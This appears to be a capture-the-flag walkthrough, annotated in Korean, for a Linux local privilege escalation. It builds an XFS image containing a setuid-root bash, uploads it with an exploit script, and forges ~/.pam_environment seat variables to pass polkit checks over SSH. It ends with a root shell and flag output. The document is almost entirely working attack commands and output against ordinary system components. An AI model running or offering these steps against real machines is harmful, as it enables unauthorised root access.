# 300MB XFS 이미지 생성
dd if=/dev/zero of=xfs.image bs=1M count=300
mkfs.xfs -f xfs.image

# 마운트 및 SUID bash 설치
mkdir mnt
sudo mount -t xfs xfs.image mnt
sudo cp /bin/bash mnt/bash
sudo chmod 4755 mnt/bash
sudo umount mnt
rmdir mnt

# 확인 (300M가 표시되어야 함)
ls -lh xfs.image

# 익스플로잇 스크립트 및 이미지 업로드
scp exp.sh [email protected]:~/
scp xfs.image [email protected]:~/

# SSH 로그인
ssh [email protected]

# PAM 환경 변수 작성
cat > ~/.pam_environment << 'EOF'
XDG_SEAT OVERRIDE=seat0
XDG_VTNR OVERRIDE=1
EOF

# 구성 확인
cat ~/.pam_environment

# 🔥 중요: 로그아웃 (PAM 설정 활성화를 위해)
exit

# SSH 재로그인 (PAM 설정이 활성화됨)
ssh [email protected]

# PAM 활성화 확인 (('yes',) 반환되어야 함)
gdbus call --system --dest org.freedesktop.login1 \
    --object-path /org/freedesktop/login1 \
    --method org.freedesktop.login1.Manager.CanReboot

# 권한 상승 스크립트 실행
bash exp.sh

✓ SUID bash found: /tmp/blockdev_loop0_xfs_xxxxx/bash
✓ Root access confirmed!

════════════════════════════════════════════════════════════
║ 루트 플래그                                              ║
║ <flag_here>                                             ║
════════════════════════════════════════════════════════════

bash-5.2# whoami
root